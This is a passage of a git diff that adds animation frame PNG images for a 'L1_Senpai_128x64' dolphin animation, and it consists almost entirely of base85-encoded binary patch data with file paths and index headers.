zmC8M+LH}1A##<@$;{8x)D<$s|0BSR)9GaTFrVtgc*13LS03+h=TK<=|12)#ADuKQ5 z-+6%Q11!V zEHwmgCeX_W9tL1=b@_^hkjDvBKdS1Q-k!1Nc$tIk$wge8fIfFd5sd<7rXD z0KNkFS>ZX`gDVVKV7V_iQh+xAuK>OS_^cIZg;;}Ryf2-l#3fkb#gVx5C!(srhOxyhY-T*xeK`V!s zF=}N2Q`e455w#9>)LhR?8A@rtLFykrcc}z=D9ejT!&l0;rFQE()Lt5-c8`3wisrR> zd;~SA9OdU_SuJWU4JCQB&!hU^#sDaK1LXDJV+7p29C{wQ(Hcj$&7hXcKwd-FY~Q9b zm8yN34V=-3XL5to>^`P_y6y(Hjs>)e&t)pfr7?n;3_&ZyKPhI9EFeYgjG%R-Esasy z#_f$#M!?OtXD?t%v<|Ac-MJBa1rkg_VQ&Ti`ql+3w3y!Gk*_pX&v&)fFmAyB6s%rI zox<@bj$(@|hdWwh2m=7^Sl}xCYS&N8xV_F4Xk(QWw_<=AMwNQMw(z4#y?TJl1WK$n zi~)eUEYLc;(B{{pDPA(zy!{po&|=~##Y@yWgAr(I7eMlJGBo~Wkc6ufHaeq_cHBn5 z5(mA^V704Yl{reQlj2^$Xysoi50^H89(+KWlPP{0R%4G~v?0#~i(@SN(=czo-Wshp zyd>m7Y5F~dX$)ZW#I26fnx7j%KF3p~fu4ZWvxCR&MAv4D1@N{a%PRSCC<_oN*p$*z9D>JDgbx5={jIHxr)dE^@NBDB zm`nIF54=EEbNtRY7wwBu=7q~!=9+TOnS1lS7jIM`J@wBd{FV^wxp3tzb7rG}MLfkZ z%{hPlQDy4q*kaeud$(HA2k>UZ7r5Hnj|Fc*s@Jo|TWM@o=Fif{6@-t&(C9I?*0_u% zr34Q=pxH{GS%jksR7>qo_0Gq-R+KMC`F82^d%OeK8nET}(elwy&YN{UBWoqe^u-6@ z3PvDVo1+P{7mYxqx^?}LwUT~&i2`OrP3-K#r_ipmq#Pq_#VHVJ0cL~ywhI49N;5Kt z0v8h2pB8@t^A!bfozCJ8IS47Cqw(4cBWqPF!B!7qZzZ@3+*;SqYQ>10NAz2}u@}-nPdj^1i z>m3`%Qhg;C#=>rIC0JX)1UMyV zW&ODN+JhktO93WfQG!y2tFNio!b<`EIJI+Wtlqm6T}TH+8ax!>Cjfjnv~zkarkN9B zo%grqX_|*m8U3nsF5Us)4FG-v!1wME1rT-kVi|)*NZPoc8lU!#f%f#V*8=>7PvL*S zL4l!v?BLxqM`dKBOt0KWbI{~;ATIuRFNqEhM67j~W$pfQOzp`A-5 z61YT;l;FX5T7mkxM>Ozs9Ng6!&#tM&p0`hPBd2T&)J2v0xpf?+O>G;kyg*OCxGjqU z{4&%z9NOzuoFmnf$gzyA9#?tp;j@fdfFDD>pODdOR}!9OEk4M~1P0>etWl027cuna z4PF%BP8UN)LaNsJzqb{Lidb%E0cI<>_eraCC(v?ka2W-#3f5u;G?~XpUjX;fGX`p& zqypS&8vy820! zE@s!p_mm*C-gm1%?f5;R4utCOtO96GlCFwIfjDqkZ9VUGrWBS_g3E0I-2P2DLnFtx z6h{z#t1rCGrIg~gfL2~Rx;_PWygJhEQH9@X|LH;qS-?0*X;C!`?oprG)1^Zds*DzD zztxo2KDUfTLx=@v4WRX=jMk^h*Unt=zP;c6k@B;J51>c{Mdk#wp_WJ6bx1}j0vEqa zP!WSvRucXmxLbf;0oHG)wQlctC?&vkq&{&O?F*t2{Oq?MK&b%HAz@Vek`*Z50bYFy zt8YSWDH>m9Pt+D*h7!y`n*fsPOKoZdPxZCO+YfNDOrRD{nZ1)S9Nxkop(_y-=@3Ry zkGbBvz2>7?8>+v(Gp*eg;Or@4&Rj=C9-8udb%7 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_29.png b/assets/dolphin/external/L1_Senpai_128x64/frame_29.png new file mode 100644 index 0000000000000000000000000000000000000000..e2767bd65540a0a0a456f6e0f8938ffd9ea77722 GIT binary patch literal 1179 zcmV;M1Z4Y(P)p2ltj}QY~!t} zc&DU`#o&kW!sJp)NgKDt!&`t2Uu**09Gd_)$0oqdu?cWG&ABZ=2iB)>CWGdjn*abTPvJ}k%{k4ZfXL>* zMwm!qX45=Om>nIN#vY& zCeRDDGBFCoD*tf)FxVELf~NV$KH8WmzrD*L5>aql0`xXpBhdssCWSCkKJ@zvd2e|I z)TXj^xFkc&(PPrqi|-fyQ;kA;2$8Ba4K}8Nj^?MwS5T!vTi?Kd=oYNN{H5uL4R_QwlyasHcKgNMNn} z=ni4qPC{OjS^!7TJD>a>CZ3)_p+D5-0iHe@CoLrIKx@a?rRA z;iwIk6pzC(8JQ(3C+h0N>h0gCCV&ZLsr}pE9?*wgr>iT-8kqfD4P|E}K!<@_`D>_^ tMmVB0n#qPMmOKNem@1cg7^AN<&OUCqFQYq1g0F)SU0 z0OSQmXdwFZ67reV_rdkpcn(1HpU|~@fQVEj@f7IEG46+*=-pC>Ff8lkf<$9Ev}c;) zp#G1dtiw*ETWVy(xso7wo<-8J`fFn!)Ul(+=!Q$-NM+E*@_xwr$Jj^U>j4#j$j${& zyC*P)NJ zuDuu@v23e!oZa{?0eW;Y3YIad=zB@)LjgEr(Sw}KxXfu|L?QURRjddj72$Qz$?O{u z(M#KW&ALZB-~4E)X!Ws5!<7|4R``RT$oYr1rYg{!NFJO|xo^?~?fi{40e>c6d*dae zvLDh`Nf#}!0~O&%tE16o@$Hq)vQI{-P+ov|{WuCnlgo)ve<@)3J`+}~%|Z%U!L0D* z+*)GX0nfN3j~1_z&TeT)Bn#IB>@keAI#L;+*IBHH`B95Q&m#P2%7*qwYe&YmYr;m1 zN3>jXQxT7VUPm`*B`TIY%XhY#@Dxvz?~XcqvBpXeEh~;_d6(PNuv(ccWsd?0OPj~D zdW$xZavP|1wirR}asd&yzbf1Bz*(LsDoivE!IJOCNucZyWz1u^vY>9PbjjL0kvS^~ z=|E*YZy_L(fun&E8BcL_OrJrN_f?@xDp$oz^6_6E3gyD#|FywcMDvKd0C~SIS~GM| zB3I3wj^n^(;H>bioIrX4i*{$&==3@kEoqT*t#|W$@Gbx$BYczqdII+5oE6|~HqP55 zZ;^Sd+^G`(y^=i&^%FrH+4!O{$)O!oa2jVNj$PitqLcA_7ObkN0{4p{l?kF*ueKQZ ze1-6}eia{}ovF%^+^Ymdiuc0Xj^%6J!>i@gR2)I!7o3RNMB9qK?yn(;5Q=rtAS1kvm17|jQ(mRaF2q)=KM}X zzY@_OMD)w*c&%MYcU;ayj%3d|!@uf=G^+rAZ`=0Gc-{)_EWYd5mPr4+ob1Q@uEG^c z5LSSU)pVlsT2`ZNd6kv(^EtXMcd~GQA7K1<7&_>?GPPrMIT*Q-Tpgpi0(u^)8y`tv zq$UR&a(z8BiKw8@stC}HXeS2kHwB1j-2eIGTz3ajf)yT!dz(-hh;F^^t_YlGt50MN z0T0*)B=D7C=eLDpb5%{W*uv>z)?(StZAaQy*V`R@~+%L=k z@u#&B&3}xH%kd)zh-jGhA&!dGbwK-sQ3V?BkrJ^Rl9$S@Df*C&nFDZF<6YQzcloO~ zDD!EYS$^dGLAN)t6b}hLdWYe8l@A55Cb*LutyqIrYI*%SJq)KAZJ$vBYyNH9KED?r z`QSkyHy{C2R%DAC&Z7f~`TOZGO!O0Fb* z&q`Msfu{skn|y}a2VSxv!iY6yRxwc0Vxi&^GyTw?1 zPRL*L1DQ^NY9(oR@`?D53aM*;4ozt)dC<1~dlbAX*+Uw*%Br)dT2NN$D*Q*oEjO^y z4<)(C_{Q4az8x$RkVp)+s)bBkvie1{^(?&c9{=3it>Qt06f{y&slX_a4ShAt+I*QM zcb1A3PmrCzYM~i7yvhq$YmFw6q01o6m2fMUaWNY6qjSsG8gHGU>nwDHIV+j8@OBx* zU4@sON+C70+RU?(}N zt4RQZ4}RvRoO6a7m&Lc;0_;Lc2~tYa-_DLp5+J1nIcLZ@zZBm3?FzUg0ZJSSkLn4f zWK|=;>RY3^US#DO4BLb_(;|$)<8>6RTr>=1X>$!$r?rZnz(cf&HmR32q5?6{c>qkVd|28q)R0SW1dxJ2 z?ZdP7mGxR4Oma<{UeGvuM+;2?j0DgUZlz*8DZiEha}g{%mmgWcNJz{E$O0^~1Xj?< zI4~E%;_Lyc7@#-dNH}Rg5=q%s;94k+U=SSx+=`-uQk=p(=N7w05S4;&v{6?LEk0i> z=ajgDn*fTyl&rN-$4y)kyu|<u3I_^H5_QU-riY?>Hr0PGv%7X3kj%7D1Gn& zN$Z?Dt`$p^(69hM0N{_pJYDQ2f%kxvinl&O{XM|(!XW?u0)Qs~`~raQhI01SU%4bZ z1Jbkr613uwQXWn-=n4OB{D<-}w^VWncPgrf<1B}TpbB3(=jZ=Jc_R*`3nu-fY!wNl zYt*^BN93I0QI{nLn|{_m6k{>~pmy0Sb#hW1D-xXf=GS;D1aT@&MNk7_XyCN#A^iJdY@`dG-blBZE>D0x6@l^mWM* zxV9Bsw}UaTBhkB4GQ8KO!7^!FT7yK{87VNqm%m4rY M07*qoM6N<$f`pe5KL7v# literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_31.png b/assets/dolphin/external/L1_Senpai_128x64/frame_31.png new file mode 100644 index 0000000000000000000000000000000000000000..037bdc8ed6eba76a6f3431eac40d0af8ee688ee7 GIT binary patch literal 1204 zcmV;l1WWsgP)PeYpey z0OpY(-%TF{d4KMfiYZRgjHD|SwL|jd9V;rdglg3)s*aK*(zNC(M(MHdJKW2%B&X97 z84Y=I9i9O?L+}&6mjHGR*~m#!0(z0aEBK?AF92F!p7sDeL%lk}C7_2bXBhcU)y39n z;H;BCNgEb6^>kSEdlboPhj;*$C75#@9C-(hZB8k$UiPSMd-$_<5@6K6q;;e^qwN+n8};x6 zh;R~@+Yl`q(%KWA05z<9Ge_EP4Q0MBv295L%)*gIe!@k71z|Z8Ek}T8Yw!qo?m?C# zz?spjL`rZGU?F&%&K{x^92vFIDYH2CH4>ub0Lw#?Mglb2p?3wtd*O7N}VSzOXwZ40*qRNkE=JZaV<6h7RM&Q;@AXO9Gd`(xV|J-;Fx!i&PcSKekr4+8sYrGWU32?VB9-zJF)>qp*UW4!i7!7P9mBJA~Dr65Upqb-N z%GbPCC<0i+pdLu(xRdfTq_R0YDuTF$q|^5Znaik2_hZex?a`7NeJM1`{X&N=e}?l z)w{1VNT6MZ>fby9M!ih01@PY2UF!`rpvcWe0V~GiXNQ+o^xhg~R0(kAmk=!;k4^$F zrx~C^fGf;kw0JyXy4e%?{ay$VC8v!Mm6RjLQ}C2SN-0(*5P%liogFhz5{!_;moPAr zpnK!-5qr6Ej@Ec*O3M*z8p|8q?Z zjY4}%wJe}4L2G`mFmQV1YhZQedO=x&);=r*_+=Qg46e?oViL6Abp%WgiBNl#?@b)( zd=G&6t6w}Zs$j)i2h#Z-`^(p3RKdy>B>0jF-d2DHB^Pb>PAc0`Wn{JI`!dJ~ZGneI zv0fy=cMnwCCV&uGkfp-Cowkv{cMkdAXB2=tZ+wDM%&77%uloURJdS3bDcv%Iw87&n z8THmh){c^w+rZXM)vDkwRx(CgfmVO*I{4Z40UF5llKBT9%&-Nuq}UfAGl7~HofS11 z;0qV35ALUFtF^c0D?#b9eE#LW02n85)uW*G0Z5B5Bu5Bdr`D#q=daxaQqT9jz5(7* z0C#mu)e&-Yac$HbtPikac2Il#aWcYfHHC46lIno7Djc4dLFErSJgbo4$|KLRZmSXq z0A2`)pOKeARQhms5@_E~^I?oA_$cSiA1r5aN}`ng-tc79=4W>bC1%@H#aMlv1L7 z06baGOGHIWI2vd@bxD6IIm<8+E1h!gF{=MZ5XGe03*8O)9ZP7^yi&z;=DOy&b4ed6 zyH^`m>zmsirTJ)`E#;3|;10m=X!U12-dmeOF2~{ZYtDKrJp2G33hP9U{CF1t0000< KMNUMnLSTX?97I_F literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_33.png b/assets/dolphin/external/L1_Senpai_128x64/frame_33.png new file mode 100644 index 0000000000000000000000000000000000000000..e3e7799db4dd44dccb311dab62120e0203c85f71 GIT binary patch literal 1669 zcmV;027394P)j%|4n`=#|$QL4&9nzu^v|~u0;=M zbhRv#G)ZxhTwTxeJj*v~t%dx#@r{vsiPCEGrTa8`o@+;~H6_?5p&4K`EozgD3?6$P zBOh+V4@>80LC&z%u~+_DG<|Ev)NC@^2@Wm4Z2ZOu#dAF)njTxw`!aG-9!KcTjWi^~ zQUgX7V%7;bkL>^pU>PWjTQ+$98~8SY234 zPGHHg9bf`R89!3kQG-Y1xb01#u^7GbxqUco$}iJR{E7hE5p;O;gH|D$LszVYwrON- z9<{mcx0n7-0RecbY|T)fITk-YCeiUa!LfG$&Wrb zf%HSiN|F0`&vi@ZD9?NCrSY$|ex-nYB4|U}$EV>OMTQZO=pz{=zEaexrIb6@*b(3n z)+$DGDIzP}D-VwdoDUl3k*wDGRRi?Abnx!T>VxVu%h%IQXgsKGdCF>k-?+dVeLy>M zQQb-_9PyDBuXXs;aN`VjG58zOs+o<5G5LK6lH9e{ubsecY#mpmM$INsS)`Xx&hxzA z2k3drDmmIG(}`vliP`opviCm| z{4Jf81@(gi@PbJ@5~V{PW}}NlRODshRr)N$aQ?Fk>PGwSFvuIudlWwEQ0eL-a|ZZ= zn{@z3>ABj#<}KFC5)ouQ+`H!Xj2Fe5xkK`q7-c?Ru z$xowQ7Fh@3hDJ`x9T*j|uCIn^tqHG^N4AR3-~`@#u80DfuDwO1>o7eoMG} zAp{AdffMHpxgeZZbfxlpr28!eQ(9=e2bpJz&~2Y7&@=HAj_y0p6W0Kims)~KcpLj4YO~m9oR*GG P00000NkvXXu0mjfIqw{B literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_34.png b/assets/dolphin/external/L1_Senpai_128x64/frame_34.png new file mode 100644 index 0000000000000000000000000000000000000000..a28aac4e0f1e76750594be887fe23ec7778094db GIT binary patch literal 1767 zcmVzK!>l%Rx%kk#J$3<$ z9d}D2B~oNj@=PwJl=Q*d;&xhr56l=ATGJ2*nlIlXfwtfqjvFq)CS!@}*JgSDO-R_mDS zK@ch?g<>R-ioL2MoYXridxwshodhz2)6T(mS3=b}YJezO=kFP}S5HjeUjO{n=5e=2 zc0Yc81qX=e+3VCT2J`f>(l54`V_1<|!(Ho$LM=y#2s(|KJC31c=UMB9pDlwk9a`*= zbN-3|Y@mp85f8lrBF698?J4Q=Wn(hukk7O}-ZP8>md#NAI}0^d?!)lJNFh%06r#Iv zBy4Lk(4aGRu4T;n&Wc2g=;u;O@k%~4tTt(@lGu&j1@+pe#OGz@bFEKQ50>X!oCYEL z+~iE>xL2jbESRd}qy_jcw_u*^=pgj~E_*mIAd<7l{}%(ONdG(1nrX zs7}$b<@g#ow@5pVbJvW`6c6VW!g8ZKvjR?*juVKo;s{Rd`WzSqjf8JL;7t+8-N z;#{v5!RTE8LyPel0rYr*C-Vep)XqLow}>2zJB@IlQOCObP1^H|rlf>N3i0G?^&!%% zvQ!(#ihM1=_M>{c-wNM{mEWbpl!!lvfb(UMvIe1&-}`&zhm`iGyj>R=TYsB%Vt zEW9OxT*2rPp%l;yudIti3U8biU0OrE)#qx4?8Wh44Ds^jiiKteTC3{zi2Re-?f`OE z$^YfMT{vlkt2n`t2!NrLae^H?KZ;d`x`GoNO97UFSLRoAu+s)$CGSqma)7@ljk67S zOL-C_$GM}J;Q)W6l>V78&NlSa<2#IV!U^1?V6r%Wrj&k9DgBjF`t8)c{3sX^Z8^eS zt=lentq$;S&iRM&{-xj@Qpx8PyKf{{%L}J~pG4(H4VkZO_=+pA@Cxk)bu~d$|2_cQ z8HUkc-y4EhT@vE>s|n(h14L?aqRch6(IB*i-WBaEW6zETb*u*mh_d1D5dKH7I&G|u z1~Q_DH~_o#y1FAsovk*#w|Fymq9zZGz2eCH*RO_IgT4~!la6}wfF%k~Kkcq$R!VsI z3n7uRh}Ebk^Cs$`$<^kfm3>}0SkW_2w$9#oR`m5EnPsyl4iNDu?Mob|c3q%KxfIxS zbcMF7ty@!Tz1f#+Ob#GJi+5q;-R19af@mHe)kiM=3`e(|K+4nlM4SNEhS}`N0W6|% zHR9K*Pju%n^3@t)S|e%w?2XYI37CF4=jY!Gz&yj8fGN8I-ehLz;4PXAn@p}23B3pz z)yEsVRSveNza1Qz$ja~@b+VBKMkBJZt-Ko1Z$ux@3A8cT&#ZmL4Idyh;TBsRfu}s` z&?B#f?6QASS8Kdcjv&DzwKp~+=m_&5sMP?hRFMZVt$A^GHNn92_ex-inT|YTEwCC; z|62Hr@WwoFwiB$30+#+-UY?1l4WvP(?QjEPpNBF~Hk1Q+Lak~+OC7J`1fKpf+KtGu z+E}Ro^F2B#zGFl-^s8Z3enXZ#vsAo-6SVYMm9i|p)$)!J&d_C$7E0tU$GjNL`BB;U z^GeKg;)<1|HYH9HBY3zBlA*#HkP#yci&_fkLDUI$MgiG3rPxi~2-#z)AhIq<((&0% z%X64Zw30&hNAjUfuE#O1<^&@;j5+~JyXX-0Idf3i?k*c^iZFvofmr%gL0+D0bp)2f zM%q@a(y^X7oB3NuI|pTY%$@I>iX-)555Sma>$waFi2a{qp&Y=uqF~ zlpep+-^vBNKG9s=6K$+i&`Sb)9H7SuS!A$M2)?)G8(E7w?tf9NempQLiU0rr002ov JPDHLkV1lcdZI%E4 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_35.png b/assets/dolphin/external/L1_Senpai_128x64/frame_35.png new file mode 100644 index 0000000000000000000000000000000000000000..04f8c1a7f30fbdc51cb1c9d7ba2d0a6b5e7f87e5 GIT binary patch literal 1832 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 LNkvXXu0mjfzS&Re literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_5.png b/assets/dolphin/external/L1_Senpai_128x64/frame_5.png new file mode 100644 index 0000000000000000000000000000000000000000..7a111afd03b4a20d23675dadfdf070cf0be65452 GIT binary patch literal 1869 zcmV-T2eSByP)q4TA|+B}Q9YjHJkRqu4mr_tw`xSrca#v!!aQB}Jed#Ag#>&<6N#i&nI8dg>Sy~c0)F!vwcnnrKN&2=XpjR!mx19z?s6xtC`9Gz3xRt&Sy^?`i#-Xb2hX;UOPH$ zPtVv$amLHNFvUa!^qSqEN{pQ3S-pF!iOlgl`#w?UEZ0N?F*?PJm#+$&9;%%wa&{KT zSe~5h)JJoRI8Ot;&XFRh-7bI$`&Ddz1$IRu)|hAP*KERT2>py;=1 zu9c+^4xD#`~;>n*S%I;qTY4qk7Pe~2$qC(HHi#V=2ZP7eEkn+B9USa&vyzDu3?` zu=Q~^&j?rpM9#P4HgSe9vU_*?cLTG$xoV@MlQ&vMRbrHP={9Cv+Z_Ofd`tdz;Vz?B ztP`arMpkJG@L)rn#|f(Ce>ZppHQLMDQb1PzRLMl_{SH(*VGI9E3SH#@e=nM63wp0n zD-CsbBwFDBe~8FG3+CB^-HblN-A<5R1%u7`Q$&6jk-tRbw|A@288G(~QQs<^?%2m( z2l)3mjvvA2zYNfIb@c-&MyK8TNvD9HCB_eyT)aD?=M)|)pYb=HP$^dl=m6Hh-rc<( zQlQ%fZF5#_663@>9Npf9?BoTP6yQCYL~T1m*35M$J1>(4X63QEXt|XS!(Ji)Bj_%& zGIQPetH7?MYJEDQQ#XO$v-{nS;BCezd1KdLdbINr;olo@7?x%XIO4HFa zQvsBEPZ;G<#r^Jg3Jk`Hv1WBZ+O@SMv-XDtYaY3;$bud_K;olV|8UB z2&+d{UG=O15p;|2VNkCD(6wqiNzsY&=Gu5KMQ3tVx zMowxS7!g_Ot6@=TVp;OaQt=&}fE{y36o~ekC6Ux0gm|GupK_ZQ*__YHwy!I((uoHdJKn)Ee1_MK1-6Aaeqw$LRbcV;Q*>QGhudmZaM@_^)D7F7ZkVONJt4 z+FT=!;VpKQXh!po_GgLZDj@qrRaw(f_j}sOkPu`rEzp*JO;E%g+Up)@d2G&QWO$pl z6DU9H_J)Y0_t>z_`^+{f+TF zEw=Q_7J?K;ij1H)3fOV8r!^v6sN7;<4eIsrQks389pL`}5S7jm`a^e200000NkvXX Hu0mjfzsZOo literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_6.png b/assets/dolphin/external/L1_Senpai_128x64/frame_6.png new file mode 100644 index 0000000000000000000000000000000000000000..318c7eca0a6779c44ac6a7e40e50333a19f5dbb7 GIT binary patch literal 1893 zcmV-r2b%baP)Li{6-5le3coMyz)L{(k^m0R@u^ien z&2dow+fmlxNu;0D$cA$#LGU7rlwLc-UeR}=m11E z7eMWv!7N!CZvL21H3gROE=H(QdWcyM4SqJ?u5s0 zIL>rJZIAh9bu6)afHBZJ{TfrZq67aNyp+s24P@Oi7qI#9%bQGGL& zme!WtU#|Z{+kEYGk9NM8>;k;`Pv{&O98aJb>)`lV~+BfOEPyRuh zfIpKzd*h{|vLEtRDHkoU12ZRoz)C~fUZFmb=bBS#<2;>-#Oq*hapSW^;E)H(1;`VG zEmb+!~i?Q#K;u)m7!ci{*JiW(D*L$K`oaT6#zL>2QCt}Lh< zv&M@$q{p3R^_tzww-lh|32&f8CQ^K3PS0XhDwEDtiIRN$>z6`h3E`DvSwwlnRnVzl zmn@CQRk_o?@3;({HNM3OWF)X;cczWbsAI`O_aUhLDuC|-5HiL`1kf|EH)luwo?+v> zP3jhz$Kp;i7gDp1rT#_`M>fA`N^)oy63sotZUgfgZL@7LLRCP(9K~dX5~p1o{1n=Fgiyl1ytdcl#xi`$;s%F z4fWQTs~NJ2)4v<&<;@ivjV`o~EK84`&%)sjz)zL-qUb1`X@tsJB{A;6DG>m@$k3jx zm^X`6j*`(w@}n-DPD=rnfmh~N>0oDv;)+3MZvO_xoLvs^caxmMAm37+iHJcv(<6^2 z9S-mZ5&hF3=P*?2@gtn%NGBL@uY$qm{7FQ=6VYEp^xL<-*+WEh_4|m7Zq|GqX*E{WA8p_Jdj_$_=mK%^!I%A9(PsLxOcQk-yV3ZACDg4XZ#LSrL zI##ER)zKhb2BNoKS91gjuCr{ftRWBu%X(__Nn@|LGJpLmVPgX8&DT{3(}28A*4Vn$ z?`(Ki-~2iHdGx8`?OzCqltpOLv+`!NjMJW3WuI3L4pi2O^!DUgk;{u@md!pmK;(4r ze%vGZpVg-fE&6JwTZ0#^EE1@V*Vc_9hRFdq0r6hgL_*h9(DCwQ$mwu&%L({=+L(wF zNc$k0eK>$cG_Fqkh-^bgPYxnq*{UHMNyleTMl}*3{kCoU{9b^}Gsp>$vMVrqx*|Gy zo5sT?ALGrH(ZSNklbxMM_J`jNjx1zlc#k^S%mzy%BH316jp#R{kLLuM46Ra-{RbYh zLBcByQU4iu%1a%h;Xe9I_CtTTu9m!6j=+H;wI>@9bP4k!C~E*zs*IClohVJ_EOF}~ zqDX(OgsbWh)w3h&%4*<&1b2}=7?=*BC?^chFSSdvgFQE@hXuZI%Y)_7;+J; zy^dBUp_f5gDB-7E=EZ2vkIpTBj-aYTrxOo!asdQH5+it30Wwrr0ueEiVNpu~6-1rD z3xBg!fi`x`m(kBcG!;blMUwQ7w%xE2nk4#MJ4G|63so6fKcsJD914@3KH2qay7A|h z{u+=&AP438y)J?@!JZ*CqeSv#))At{iJU@dEV-@@Sb11O=D9@>qk23u9w`N6!23r| zaYSBqyvB$-2^>#5)ktXdu__eww+8bj(Ay9xT-#WSSIjW*nS3kB>q_>n@u|q+l6{at zIUhq2SmQtYzT5v?eD!o`?OkP3x13p7mO(vZS4km%Cdn>p*Y*s)4wmJe$1XEKQDVjb zv#cBCMh}^?6tQqQPlWaJc1w=M3t;3Rvj58%OUcNXNFJ(2n@m*@$+tu`2dJhpE=!v` fYHVvSEXVi{Ub^TjTGP(Q00000NkvXXu0mjfD1DE3 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_7.png b/assets/dolphin/external/L1_Senpai_128x64/frame_7.png new file mode 100644 index 0000000000000000000000000000000000000000..b56b995dc61244f395c0ab2713e32e00b8909c94 GIT binary patch literal 1835 zcmV+`2h{k9P)#P5NWd)xPY-?okReW&qvVB0n#qL*toel0wR2r7SEzwvA1akc z0#Fnfse$M{O2~Uw+Z*R&;~aqKr_wb(Kt!sMcm{NHjO*b^^y;ZY8J72QMWVhO+C9y1 zQ2X0Z`tT&uJvFl6+(;0-$RfwF+G~Ap)bT_YqYEyTBaK1p%iAIEAAN6y_X8RLk8r(2s4D0G9W9tY6FD6>@2X{yQzK$Cm-TTuhd3p5ocMy(T$u;zszo9#31;*Rdl40it<*BlUX++ 